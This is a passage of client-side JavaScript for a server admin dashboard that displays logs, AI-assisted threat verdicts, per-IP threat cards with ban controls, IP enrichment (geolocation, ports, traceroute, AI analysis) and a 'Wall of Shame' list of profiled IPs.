!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
var currentSource = 'app';
var allLines = [];
function switchTab(el) {
document.querySelectorAll('.tab').forEach(function(t){t.classList.remove('active')});
el.classList.add('active');
currentSource = el.dataset.src;
loadLogs();
}
function esc(t){var d=document.createElement('span');d.textContent=t;return d.innerHTML}
function classifyLine(line) {
var lower = line.toLowerCase();
if (lower.indexOf('error') >= 0 || lower.indexOf('fail') >= 0 || lower.indexOf('traceback') >= 0) return 'err';
if (lower.indexOf('warn') >= 0 || lower.indexOf(' 4') >= 0) return 'warn';
return 'info';
}
function highlightStatus(text) {
return text.replace(/\s(2\d\d)\s/g, ' <span class="status-2xx">$1</span> ')
.replace(/\s(3\d\d)\s/g, ' <span class="status-3xx">$1</span> ')
.replace(/\s(4\d\d)\s/g, ' <span class="status-4xx">$1</span> ')
.replace(/\s(5\d\d)\s/g, ' <span class="status-5xx">$1</span> ');
}
function renderLines(lines) {
var view = document.getElementById('log-view');
if (!lines.length) { view.textContent = ''; var e = document.createElement('div'); e.className = 'empty'; e.textContent = 'No log entries'; view.appendChild(e); return; }
view.textContent = '';
lines.forEach(function(line) {
var div = document.createElement('div');
div.className = 'log-line ' + classifyLine(line);
div.innerHTML = highlightStatus(esc(line));
view.appendChild(div);
});
view.scrollTop = view.scrollHeight;
}
function renderRuns(runs) {
var view = document.getElementById('log-view');
if (!runs.length) { view.textContent = ''; var e = document.createElement('div'); e.className = 'empty'; e.textContent = 'No run history'; view.appendChild(e); return; }
view.textContent = '';
runs.forEach(function(r) {
var card = document.createElement('div');
card.className = 'run-card' + (r.errors && r.errors.length ? ' has-errors' : '');
var row = document.createElement('div');
row.className = 'run-row';
function addTag(text, cls) { var t = document.createElement('span'); t.className = 'tag ' + cls; t.textContent = text; row.appendChild(t); }
addTag(r.mode, 'tag-mode');
addTag(r.user || '?', 'tag-time');
if (r.duration) addTag(r.duration + 's', 'tag-time');
addTag((r.response_count || 0) + ' responses', 'tag-time');
if (r.errors && r.errors.length) addTag(r.errors.length + ' errors', 'tag-err');
else addTag('ok', 'tag-ok');
card.appendChild(row);
var p = document.createElement('div'); p.className = 'run-prompt'; p.textContent = r.prompt || ''; card.appendChild(p);
if (r.errors) r.errors.forEach(function(e) {
var el = document.createElement('div'); el.className = 'run-error';
el.textContent = (e.model || '?') + ': ' + (e.error || 'unknown');
card.appendChild(el);
});
view.appendChild(card);
});
}
function filterLogs() {
var q = document.getElementById('log-filter').value.toLowerCase();
if (!q) { renderLines(allLines); return; }
renderLines(allLines.filter(function(l) { return l.toLowerCase().indexOf(q) >= 0; }));
}
async function loadLogs() {
var limit = document.getElementById('log-limit').value;
var view = document.getElementById('log-view');
view.textContent = '';
var ld = document.createElement('div'); ld.className = 'empty'; ld.textContent = 'Loading...'; view.appendChild(ld);
try {
if (currentSource === 'threats') {
await loadThreats();
return;
}
if (currentSource === 'shame') {
await loadWallOfShame();
return;
}
var r = await fetch('/api/admin/logs?source=' + currentSource + '&limit=' + limit);
var d = await r.json();
if (currentSource === 'runs') {
renderRuns(d.runs || []);
} else {
allLines = d.lines || [];
filterLogs();
}
} catch(e) {
view.textContent = '';
var err = document.createElement('div'); err.className = 'empty'; err.textContent = 'Error loading logs: ' + e.message; view.appendChild(err);
}
}
async function loadThreats() {
var view = document.getElementById('log-view');
try {
var r = await fetch('/api/admin/security?sort=' + currentSort);
var d = await r.json();
var ips = d.ips || [];
// Also fetch sentinel status
var sr = await fetch('/api/admin/sentinel').catch(function(){return{json:function(){return{}}}});
var sentinel = await sr.json();
view.textContent = '';
// Sentinel status card
var sentinelCard = document.createElement('div');
sentinelCard.style.cssText = 'background:rgba(0,0,0,0.3);border:2px solid rgba(217,70,239,0.3);border-radius:2px;padding:8px 12px;margin-bottom:12px;backdrop-filter:blur(16px)';
var sHeader = document.createElement('div');
sHeader.style.cssText = 'display:flex;align-items:center;gap:8px;margin-bottom:8px';
var sDot = document.createElement('div');
sDot.style.cssText = 'width:8px;height:8px;border-radius:50%;background:#d946ef;box-shadow:0 0 8px #d946ef;animation:pulse-dot 2s ease-in-out infinite';
var sTitle = document.createElement('span');
sTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:11px;text-transform:uppercase;letter-spacing:1.5px;color:#d946ef;font-weight:700';
sTitle.textContent = 'AI Sentinel — ' + (sentinel.model || '?');
sHeader.appendChild(sDot);sHeader.appendChild(sTitle);
// Inline stats + countdown — all in one row
var ss = sentinel.stats || {};
var nextIn = sentinel.next_scan_in || 0;
var interval = sentinel.interval || 300;
var pct = interval > 0 ? ((interval - nextIn) / interval) : 0;
// Mini ring
var ring = document.createElement('span');
ring.style.cssText = 'position:relative;width:28px;height:28px;flex-shrink:0;display:inline-block;vertical-align:middle;margin-left:auto';
ring.innerHTML = '<svg width="28" height="28" viewBox="0 0 28 28"><circle cx="14" cy="14" r="11" fill="none" stroke="#2a2d35" stroke-width="2.5"/><circle cx="14" cy="14" r="11" fill="none" stroke="#d946ef" stroke-width="2.5" stroke-linecap="round" stroke-dasharray="'+(2*Math.PI*11).toFixed(1)+'" stroke-dashoffset="'+((1-pct)*2*Math.PI*11).toFixed(1)+'" transform="rotate(-90 14 14)" style="transition:stroke-dashoffset 1s"/></svg>';
var countTxt = document.createElement('span');
countTxt.id = 'sentinel-countdown';
countTxt.style.cssText = 'position:absolute;inset:0;display:flex;align-items:center;justify-content:center;font-family:JetBrains Mono,monospace;font-size:8px;font-weight:700;color:#d946ef';
countTxt.textContent = Math.ceil(nextIn) + '';
ring.appendChild(countTxt);
sHeader.appendChild(ring);
// Compact stats inline
var inlineStats = document.createElement('span');
inlineStats.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#7a7872;display:flex;gap:10px;margin-left:8px';
inlineStats.innerHTML = '<span><b style="color:#d946ef">'+(ss.scans||0)+'</b> scans</span><span><b style="color:#e05252">'+(ss.bans||0)+'</b> bans</span>';
sHeader.appendChild(inlineStats);
sentinelCard.appendChild(sHeader);
// Countdown synced to server's next_scan_ts
// Store the absolute target time so refresh doesn't reset
if (window._sentinelTimer) clearInterval(window._sentinelTimer);
var serverNow = sentinel.server_time || (Date.now()/1000);
var nextScanTs = serverNow + nextIn;
window._sentinelTargetTs = nextScanTs;
window._sentinelServerOffset = serverNow - (Date.now()/1000); // clock difference
window._sentinelTimer = setInterval(function(){
var localNow = (Date.now()/1000) + (window._sentinelServerOffset||0);
var remaining = Math.max(0, (window._sentinelTargetTs||0) - localNow);
var el = document.getElementById('sentinel-countdown');
if (el) {
if (remaining > 0) { el.textContent = Math.ceil(remaining); el.style.color = '#d946ef'; }
else { el.textContent = ''; el.style.color = '#4ade80'; }
}
}, 1000);
if (ss.last_error) {
var sErr = document.createElement('div');
sErr.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#e05252;border-left:2px solid #e05252;padding-left:8px;margin-bottom:4px';
sErr.textContent = 'Error: ' + ss.last_error;
sentinelCard.appendChild(sErr);
}
// Recent AI verdicts — collapsible
var verdicts = sentinel.recent_verdicts || [];
if (verdicts.length) {
var vToggle = document.createElement('div');
vToggle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:#d946ef;margin:4px 0 0;opacity:0.5;cursor:pointer';
vToggle.textContent = '' + verdicts.length + ' recent verdicts';
var vList = document.createElement('div');
vList.style.display = 'none';
vToggle.onclick = function(){
if (vList.style.display === 'none') { vList.style.display = 'block'; vToggle.textContent = '' + verdicts.length + ' recent verdicts'; vToggle.style.opacity = '1'; }
else { vList.style.display = 'none'; vToggle.textContent = '' + verdicts.length + ' recent verdicts'; vToggle.style.opacity = '0.5'; }
};
sentinelCard.appendChild(vToggle);
verdicts.slice(0,8).forEach(function(v){
var vLine = document.createElement('div');
vLine.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#7a7872;padding:3px 0;border-bottom:1px solid rgba(42,45,53,0.3);display:flex;gap:8px';
var actionColor = v.action === 'ban' ? '#e05252' : v.action === 'monitor' ? '#f59e0b' : '#7a7872';
vLine.innerHTML = '<span style="color:'+actionColor+';min-width:50px;font-weight:700">'+esc(v.action||'?').toUpperCase()+'</span>'
+ '<span style="min-width:120px">'+esc(v.ip||'?')+'</span>'
+ '<span style="color:#c084fc">'+esc(v.attack_type||'?')+'</span>'
+ '<span style="flex:1;opacity:0.6">'+esc(v.reason||'')+'</span>';
vList.appendChild(vLine);
});
sentinelCard.appendChild(vList);
}
view.appendChild(sentinelCard);
// Summary stats
var summary = document.createElement('div');
summary.className = 'threat-summary';
var critical = ips.filter(function(i){return i.threat==='critical'}).length;
var high = ips.filter(function(i){return i.threat==='high'}).length;
var banned = d.total_banned || 0;
[{v:critical,l:'Critical IPs',c:'red'},{v:high,l:'High Threat',c:'amber'},{v:banned,l:'Currently Banned',c:'green'}].forEach(function(s){
var box = document.createElement('div'); box.className = 'ts-box';
var val = document.createElement('div'); val.className = 'ts-val ' + s.c; val.textContent = s.v;
var lab = document.createElement('div'); lab.className = 'ts-label'; lab.textContent = s.l;
box.appendChild(val); box.appendChild(lab); summary.appendChild(box);
});
view.appendChild(summary);
if (!ips.length) {
var e = document.createElement('div'); e.className = 'empty'; e.textContent = 'No external IP activity recorded';
view.appendChild(e); return;
}
// Sort controls + mass action bar
var toolbar = document.createElement('div');
toolbar.style.cssText = 'display:flex;gap:8px;align-items:center;margin-bottom:12px;flex-wrap:wrap';
var sortLabel = document.createElement('span');
sortLabel.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:1px;color:#7a7872';
sortLabel.textContent = 'Sort:';
toolbar.appendChild(sortLabel);
['hits','threat','recent','banned'].forEach(function(s){
var btn = document.createElement('button');
btn.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:0.5px;padding:4px 10px;border:2px solid '+(currentSort===s?'#e2b55a':'#2a2d35')+';border-radius:2px;background:transparent;color:'+(currentSort===s?'#e2b55a':'#7a7872')+';cursor:pointer';
btn.textContent = s;
btn.onclick = function(){ currentSort=s; loadThreats(); };
toolbar.appendChild(btn);
});
// Mass action buttons
var spacer = document.createElement('div'); spacer.style.flex = '1'; toolbar.appendChild(spacer);
var selCount = document.createElement('span'); selCount.id = 'sel-count';
selCount.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#7a7872';
toolbar.appendChild(selCount);
var massBan = document.createElement('button'); massBan.className = 'ban-btn ban';
massBan.textContent = 'Ban Selected'; massBan.onclick = function(){ massAction('ban'); };
toolbar.appendChild(massBan);
var massUnban = document.createElement('button'); massUnban.className = 'ban-btn unban';
massUnban.textContent = 'Unban Selected'; massUnban.onclick = function(){ massAction('unban'); };
toolbar.appendChild(massUnban);
view.appendChild(toolbar);
ips.forEach(function(ip) {
var card = document.createElement('div');
card.className = 'threat-card ' + ip.threat + (ip.banned ? ' banned' : '');
card.id = 'ip-' + ip.ip.replace(/\./g, '-');
// Checkbox for mass selection
var cb = document.createElement('input'); cb.type = 'checkbox';
cb.className = 'ip-check'; cb.dataset.ip = ip.ip;
cb.style.cssText = 'width:16px;height:16px;cursor:pointer;flex-shrink:0;accent-color:#e2b55a;margin-top:2px';
cb.onchange = updateSelCount;
card.appendChild(cb);
var ipEl = document.createElement('div'); ipEl.className = 'threat-ip'; ipEl.textContent = ip.ip;
card.appendChild(ipEl);
var info = document.createElement('div'); info.className = 'threat-info';
var row = document.createElement('div'); row.className = 'threat-row';
function addTag(text, cls) { var t = document.createElement('span'); t.className = 'tag ' + cls; t.textContent = text; row.appendChild(t); }
addTag(ip.threat, ip.threat === 'critical' ? 'tag-err' : ip.threat === 'high' ? 'tag-mode' : 'tag-time');
addTag(ip.hits + ' hits', 'tag-time');
if (ip.exploit_scans) addTag(ip.exploit_scans + ' scans', 'tag-err');
if (ip.login_fails) addTag(ip.login_fails + ' login fails', 'tag-err');
if (ip.ua_count > 1) addTag(ip.ua_count + ' UAs', 'tag-mode');
if (ip.banned) addTag('BANNED', 'tag-ok');
if (ip.ban_jails && ip.ban_jails.length) addTag(ip.ban_jails.join(', '), 'tag-time');
info.appendChild(row);
// Fingerprint line
var fp = document.createElement('div'); fp.className = 'threat-paths';
var fpParts = [];
if (ip.first_seen) fpParts.push('First: ' + ip.first_seen);
fpParts.push('Last: ' + ip.last_seen);
if (ip.methods) { var mm = Object.entries(ip.methods).map(function(e){return e[0]+':'+e[1]}).join(' '); if(mm) fpParts.push('Methods: '+mm); }
fp.textContent = fpParts.join(' | ');
info.appendChild(fp);
if (ip.paths && ip.paths.length) {
var paths = document.createElement('div'); paths.className = 'threat-paths';
paths.textContent = 'Paths: ' + ip.paths.join(', ');
info.appendChild(paths);
}
// AI verdicts if any
if (ip.ai_verdicts && ip.ai_verdicts.length) {
var aiDiv = document.createElement('div'); aiDiv.style.cssText = 'margin-top:4px';
ip.ai_verdicts.forEach(function(v){
var vl = document.createElement('div');
vl.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#c084fc;padding:1px 0';
vl.textContent = 'AI: ' + (v.action||'?').toUpperCase() + '' + (v.reason||'') + ' [' + (v.attack_type||'?') + ']';
aiDiv.appendChild(vl);
});
info.appendChild(aiDiv);
}
// Expandable raw logs (click to toggle)
var expandBtn = document.createElement('div');
expandBtn.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:#e2b55a;cursor:pointer;margin-top:6px;opacity:0.5';
expandBtn.textContent = '▶ Show ' + (ip.log_lines?ip.log_lines.length:0) + ' log entries';
var logPanel = document.createElement('div');
logPanel.style.cssText = 'display:none;margin-top:6px;background:rgba(0,0,0,0.3);border:1px solid #2a2d35;border-radius:2px;padding:8px;max-height:250px;overflow-y:auto;font-family:JetBrains Mono,monospace;font-size:9px;line-height:1.6;color:#7a7872;white-space:pre-wrap;word-break:break-all';
if (ip.log_lines) logPanel.textContent = ip.log_lines.join('\n');
// UAs section
if (ip.uas && ip.uas.length) {
var uaHeader = document.createElement('div');
uaHeader.style.cssText = 'margin-top:8px;padding-top:6px;border-top:1px solid #2a2d35;color:#c084fc;font-size:8px;text-transform:uppercase;letter-spacing:1px;margin-bottom:4px';
uaHeader.textContent = 'User Agents (' + ip.uas.length + ')';
logPanel.appendChild(uaHeader);
ip.uas.forEach(function(ua){
var uaLine = document.createElement('div'); uaLine.style.color = '#7a7872';
uaLine.textContent = ua; logPanel.appendChild(uaLine);
});
}
expandBtn.onclick = function(){
if (logPanel.style.display === 'none') {
logPanel.style.display = 'block'; expandBtn.textContent = '▼ Hide log entries'; expandBtn.style.opacity = '1';
} else {
logPanel.style.display = 'none'; expandBtn.textContent = '▶ Show ' + (ip.log_lines?ip.log_lines.length:0) + ' log entries'; expandBtn.style.opacity = '0.5';
}
};
info.appendChild(expandBtn);
info.appendChild(logPanel);
card.appendChild(info);
var actions = document.createElement('div'); actions.className = 'threat-actions';
actions.style.cssText = 'display:flex;flex-direction:column;gap:4px;flex-shrink:0';
var enrichBtn = document.createElement('button'); enrichBtn.className = 'ban-btn';
enrichBtn.style.cssText += 'color:#d946ef;border-color:rgba(217,70,239,0.4)';
enrichBtn.textContent = 'Enrich';
enrichBtn.onclick = function(e) { e.stopPropagation(); enrichIP(ip.ip, card); };
actions.appendChild(enrichBtn);
if (ip.banned) {
var ubtn = document.createElement('button'); ubtn.className = 'ban-btn unban'; ubtn.textContent = 'Unban';
ubtn.onclick = function(e) { e.stopPropagation(); banAction(ip.ip, 'unban'); };
actions.appendChild(ubtn);
} else {
var bbtn = document.createElement('button'); bbtn.className = 'ban-btn ban'; bbtn.textContent = 'Ban';
bbtn.onclick = function(e) { e.stopPropagation(); banAction(ip.ip, 'ban'); };
actions.appendChild(bbtn);
}
card.appendChild(actions);
view.appendChild(card);
});
} catch(e) {
view.textContent = '';
var err = document.createElement('div'); err.className = 'empty'; err.textContent = 'Error: ' + e.message;
view.appendChild(err);
}
}
var currentSort = 'hits';
function updateSelCount() {
var checks = document.querySelectorAll('.ip-check:checked');
var el = document.getElementById('sel-count');
if (el) el.textContent = checks.length ? checks.length + ' selected' : '';
}
async function massAction(action) {
var checks = document.querySelectorAll('.ip-check:checked');
if (!checks.length) return;
var ipList = [];
checks.forEach(function(c) { ipList.push(c.dataset.ip); });
if (!confirm((action === 'ban' ? 'Ban' : 'Unban') + ' ' + ipList.length + ' IPs?\n\n' + ipList.join('\n'))) return;
try {
var r = await fetch('/api/admin/security/mass-ban', {
method: 'POST', headers: {'Content-Type': 'application/json'},
body: JSON.stringify({ips: ipList, action: action})
});
var d = await r.json();
if (d.ok) { setTimeout(function(){ loadThreats(); }, 300); }
} catch(e) { alert('Error: ' + e.message); }
}
async function enrichIP(ip, card) {
// Find or create enrichment panel in the card
var existing = card.querySelector('.enrich-panel');
if (existing) { existing.remove(); return; }
var panel = document.createElement('div');
panel.className = 'enrich-panel';
var loading = document.createElement('div');
loading.className = 'enrich-title';
loading.textContent = 'Enriching ' + ip + '... (geo + web-check + AI analysis)';
panel.appendChild(loading);
card.appendChild(panel);
try {
var r = await fetch('/api/admin/security/enrich', {
method:'POST', headers:{'Content-Type':'application/json'},
body: JSON.stringify({ip: ip})
});
var d = await r.json();
panel.textContent = '';
// Helper to build a field
function mkField(label, value, cls, full) {
var box = document.createElement('div');
box.className = 'enrich-field' + (full ? ' full' : '');
var l = document.createElement('span'); l.className = 'label'; l.textContent = label + ': ';
var v = document.createElement('span'); v.className = 'value' + (cls ? ' ' + cls : ''); v.textContent = value;
box.appendChild(l); box.appendChild(v);
return box;
}
// Geo section
if (d.geo && !d.geo.error) {
var g = d.geo;
var sec = document.createElement('div'); sec.className = 'enrich-section';
var t = document.createElement('div'); t.className = 'enrich-title'; t.textContent = 'Geolocation + Network'; sec.appendChild(t);
var grid = document.createElement('div'); grid.className = 'enrich-grid';
grid.appendChild(mkField('Location', (g.city||'?')+', '+(g.regionName||'?')+', '+(g.country||'?')));
grid.appendChild(mkField('ISP', g.isp||'?'));
grid.appendChild(mkField('Org', g.org||'?'));
grid.appendChild(mkField('AS', g.as||'?'));
grid.appendChild(mkField('Proxy', g.proxy ? 'YES' : 'No', g.proxy ? 'danger' : 'safe'));
grid.appendChild(mkField('Hosting', g.hosting ? 'YES' : 'No', g.hosting ? 'danger' : 'safe'));
grid.appendChild(mkField('Mobile', g.mobile ? 'YES' : 'No'));
grid.appendChild(mkField('Timezone', g.timezone||'?'));
sec.appendChild(grid);
panel.appendChild(sec);
}
// Web-Check section
if (d.webcheck && Object.keys(d.webcheck).length) {
var sec = document.createElement('div'); sec.className = 'enrich-section';
var t = document.createElement('div'); t.className = 'enrich-title'; t.textContent = 'Deep Scan (web-check)'; sec.appendChild(t);
var grid = document.createElement('div'); grid.className = 'enrich-grid';
if (d.webcheck.ports && d.webcheck.ports.openPorts) {
var ports = d.webcheck.ports.openPorts;
grid.appendChild(mkField('Open Ports', ports.length ? ports.join(', ') : 'none found', ports.length ? 'danger' : 'safe'));
}
if (d.webcheck.status && !d.webcheck.status.error) {
var st = d.webcheck.status;
grid.appendChild(mkField('HTTP Status', st.statusCode ? st.statusCode + ' (' + (st.responseTime ? Math.round(st.responseTime) : '?') + 'ms)' : 'No HTTP'));
}
if (d.webcheck.block_lists && d.webcheck.block_lists.blocklists) {
var bls = d.webcheck.block_lists.blocklists;
var blocked = bls.filter(function(b){return b.isBlocked});
var blText = blocked.length
? blocked.length + '/' + bls.length + ' blocked (' + blocked.map(function(b){return b.server}).join(', ') + ')'
: 'Clean on all ' + bls.length + ' lists';
grid.appendChild(mkField('Blocklists', blText, blocked.length ? 'danger' : 'safe', true));
}
if (d.webcheck.dns) {
var ptr = d.webcheck.dns.PTR && d.webcheck.dns.PTR.length ? d.webcheck.dns.PTR.join(', ') : 'none';
grid.appendChild(mkField('Reverse DNS', ptr, null, true));
}
if (d.webcheck.headers && !d.webcheck.headers.error) {
var hdrs = d.webcheck.headers;
var hdrKeys = Object.keys(hdrs).filter(function(k){return typeof hdrs[k] === 'string'}).slice(0,6);
if (hdrKeys.length) {
grid.appendChild(mkField('Headers', hdrKeys.map(function(k){return k+': '+hdrs[k].substring(0,40)}).join(' | '), null, true));
}
}
sec.appendChild(grid);
// Traceroute as its own visual block
if (d.webcheck.trace_route && d.webcheck.trace_route.result) {
var hops = d.webcheck.trace_route.result.filter(function(h){return typeof h === 'object' && h !== null});
if (hops.length) {
var trWrap = document.createElement('div');
trWrap.style.cssText = 'margin-top:10px';
var trLabel = document.createElement('div'); trLabel.className = 'label';
trLabel.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1px;color:#7a7872;margin-bottom:6px';
trLabel.textContent = 'Traceroute (' + hops.length + ' hops)';
trWrap.appendChild(trLabel);
var trVal = document.createElement('div');
trVal.style.cssText = 'display:flex;flex-wrap:wrap;gap:3px;align-items:center';
hops.forEach(function(h, i) {
var hopIp = Object.keys(h)[0];
var latency = h[hopIp] ? h[hopIp][0] : '?';
var chip = document.createElement('span');
chip.style.cssText = 'background:rgba(0,0,0,0.3);border:1px solid #2a2d35;border-radius:2px;padding:2px 6px;font-family:JetBrains Mono,monospace;font-size:9px;white-space:nowrap;color:#e8e6e3';
chip.textContent = hopIp + ' (' + (typeof latency === 'number' ? latency.toFixed(0) + 'ms' : '?') + ')';
trVal.appendChild(chip);
if (i < hops.length - 1) {
var arrow = document.createElement('span'); arrow.style.cssText = 'color:#7a7872;font-size:8px';
arrow.textContent = ''; trVal.appendChild(arrow);
}
});
trWrap.appendChild(trVal);
sec.appendChild(trWrap);
}
}
panel.appendChild(sec);
}
// AI Analysis section
if (d.ai_analysis && !d.ai_analysis.error) {
var ai = d.ai_analysis;
var sec = document.createElement('div'); sec.className = 'enrich-section';
var t = document.createElement('div'); t.className = 'enrich-title'; t.textContent = 'AI Threat Analysis (' + d.log_count + ' log entries)'; sec.appendChild(t);
var threatColor = {'critical':'#e05252','high':'#f59e0b','medium':'#e2b55a','low':'#7a7872','none':'#4ade80'};
var grid = document.createElement('div'); grid.className = 'enrich-grid';
[
['Threat', ai.threat_level||'?', threatColor[ai.threat_level]||'#7a7872'],
['Type', ai.classification||'?', '#c084fc'],
['Confidence', ((ai.confidence||0)*100).toFixed(0)+'%', '#e2b55a'],
['Automated', ai.likely_automated?'YES':'No', ai.likely_automated?'#e05252':'#4ade80']
].forEach(function(f){
var box = document.createElement('div'); box.className = 'enrich-field';
var l = document.createElement('span'); l.className = 'label'; l.textContent = f[0] + ': ';
var v = document.createElement('span'); v.className = 'value'; v.style.cssText = 'font-weight:700;color:'+f[2]; v.textContent = f[1];
box.appendChild(l); box.appendChild(v); grid.appendChild(box);
});
sec.appendChild(grid);
if (ai.summary) {
var summ = document.createElement('div');
summ.style.cssText = 'font-size:11px;color:#e8e6e3;margin-top:10px;line-height:1.6';
summ.textContent = ai.summary; sec.appendChild(summ);
}
if (ai.pattern) {
var pat = document.createElement('div');
pat.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#c084fc;margin-top:6px';
pat.textContent = 'Pattern: ' + ai.pattern; sec.appendChild(pat);
}
if (ai.indicators && ai.indicators.length) {
var indDiv = document.createElement('div');
indDiv.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#7a7872;margin-top:6px';
indDiv.textContent = 'Indicators: ' + ai.indicators.join(' | '); sec.appendChild(indDiv);
}
if (ai.recommendation) {
var rec = document.createElement('div');
rec.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#4ade80;border-left:2px solid #4ade80;padding-left:8px;margin-top:8px';
rec.textContent = 'Recommendation: ' + ai.recommendation; sec.appendChild(rec);
}
panel.appendChild(sec);
} else if (d.ai_analysis && d.ai_analysis.error) {
var errDiv = document.createElement('div');
errDiv.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:#e05252';
errDiv.textContent = 'AI error: ' + d.ai_analysis.error;
panel.appendChild(errDiv);
}
// Saved indicator
if (d.saved) {
var savedDiv = document.createElement('div');
savedDiv.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#4ade80;margin-top:8px;text-transform:uppercase;letter-spacing:1px';
savedDiv.textContent = '✓ Saved to Wall of Shame database';
panel.appendChild(savedDiv);
} else if (d.save_error) {
var seDiv = document.createElement('div');
seDiv.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:#e05252;margin-top:8px';
seDiv.textContent = 'Save error: ' + d.save_error;
panel.appendChild(seDiv);
}
} catch(e) {
panel.textContent = 'Error: ' + e.message;
panel.style.color = '#e05252';
}
}
async function banAction(ip, action) {
try {
var r = await fetch('/api/admin/security/ban', {
method: 'POST', headers: {'Content-Type': 'application/json'},
body: JSON.stringify({ip: ip, action: action})
});
var d = await r.json();
if (d.ok) {
var el = document.getElementById('ip-' + ip.replace(/\./g, '-'));
if (el) { el.style.transition = 'opacity 0.3s'; el.style.opacity = '0.3'; }
setTimeout(function() { loadThreats(); }, 500);
} else { alert('Error: ' + (d.error || 'unknown')); }
} catch(e) { alert('Error: ' + e.message); }
}
async function loadWallOfShame() {
var view = document.getElementById('log-view');
view.textContent = '';
try {
var r = await fetch('/api/admin/wall-of-shame?sort=enriched_at&order=desc');
var d = await r.json();
var entries = d.entries || [];
if (!entries.length) {
var e = document.createElement('div'); e.className = 'empty';
e.textContent = 'No enriched IPs yet. Use the "Enrich" button on Threat Intel to scan IPs.';
view.appendChild(e); return;
}
// Stats bar
var stats = document.createElement('div');
stats.style.cssText = 'display:grid;grid-template-columns:repeat(5,1fr);gap:8px;margin-bottom:16px';
var total = entries.length;
var crit = entries.filter(function(e){return e.threat_level==='critical'}).length;
var high = entries.filter(function(e){return e.threat_level==='high'}).length;
var proxies = entries.filter(function(e){return e.is_proxy}).length;
var automated = entries.filter(function(e){return e.likely_automated}).length;
[{v:total,l:'Total Profiled',c:'#d946ef'},{v:crit,l:'Critical',c:'#e05252'},{v:high,l:'High',c:'#f59e0b'},{v:proxies,l:'Proxies',c:'#e05252'},{v:automated,l:'Automated',c:'#c084fc'}].forEach(function(s){
var box = document.createElement('div');
box.style.cssText = 'background:rgba(0,0,0,0.3);border:2px solid #2a2d35;border-radius:2px;padding:12px;text-align:center;backdrop-filter:blur(16px)';
var val = document.createElement('div');
val.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:20px;font-weight:700;color:'+s.c;
val.textContent = s.v;
var lab = document.createElement('div');
lab.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1.5px;color:#7a7872;margin-top:4px';
lab.textContent = s.l;
box.appendChild(val); box.appendChild(lab); stats.appendChild(box);
});
view.appendChild(stats);
// Table
var table = document.createElement('div');
table.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px';
// Header
var hdr = document.createElement('div');
hdr.style.cssText = 'display:grid;grid-template-columns:130px 70px 100px 1fr 80px 60px;gap:8px;padding:8px 12px;border-bottom:2px solid #2a2d35;color:#7a7872;text-transform:uppercase;letter-spacing:1px;font-size:8px;font-weight:700';
['IP','Threat','Type','Summary','Country','Ports'].forEach(function(h){
var cell = document.createElement('span'); cell.textContent = h; hdr.appendChild(cell);
});
table.appendChild(hdr);
entries.forEach(function(e) {
var row = document.createElement('div');
row.style.cssText = 'display:grid;grid-template-columns:130px 70px 100px 1fr 80px 60px;gap:8px;padding:8px 12px;border-bottom:1px solid rgba(42,45,53,0.3);align-items:center;cursor:pointer;transition:background 0.1s';
row.onmouseenter = function(){row.style.background='rgba(217,70,239,0.03)'};
row.onmouseleave = function(){row.style.background='transparent'};
// IP
var ipCell = document.createElement('span'); ipCell.style.cssText = 'font-weight:700;color:#e8e6e3';
ipCell.textContent = e.ip; row.appendChild(ipCell);
// Threat
var threatColors = {critical:'#e05252',high:'#f59e0b',medium:'#e2b55a',low:'#7a7872'};
var tCell = document.createElement('span'); tCell.style.cssText = 'font-weight:700;color:'+(threatColors[e.threat_level]||'#7a7872');
tCell.textContent = (e.threat_level||'?').toUpperCase(); row.appendChild(tCell);
// Type
var cCell = document.createElement('span'); cCell.style.color = '#c084fc';
cCell.textContent = e.classification || e.attack_type || '?'; row.appendChild(cCell);
// Summary
var sCell = document.createElement('span'); sCell.style.cssText = 'color:#7a7872;overflow:hidden;text-overflow:ellipsis;white-space:nowrap';
sCell.textContent = e.summary || ''; sCell.title = e.summary || ''; row.appendChild(sCell);
// Country
var coCell = document.createElement('span'); coCell.style.color = '#e8e6e3';
coCell.textContent = e.country_code || '?'; row.appendChild(coCell);
// Ports
var pCell = document.createElement('span'); pCell.style.color = '#e05252';
var ports = e.open_ports || [];
pCell.textContent = ports.length ? ports.join(',') : '-'; row.appendChild(pCell);
// Click to expand detail
var detail = document.createElement('div');
detail.style.cssText = 'display:none;grid-column:1/-1;padding:10px 0;border-bottom:1px solid rgba(217,70,239,0.15)';
row.onclick = function() {
if (detail.style.display === 'none') {
detail.style.display = 'block';
detail.textContent = '';
var grid = document.createElement('div');
grid.style.cssText = 'display:grid;grid-template-columns:repeat(auto-fit,minmax(180px,1fr));gap:6px;font-size:10px';
var fields = [
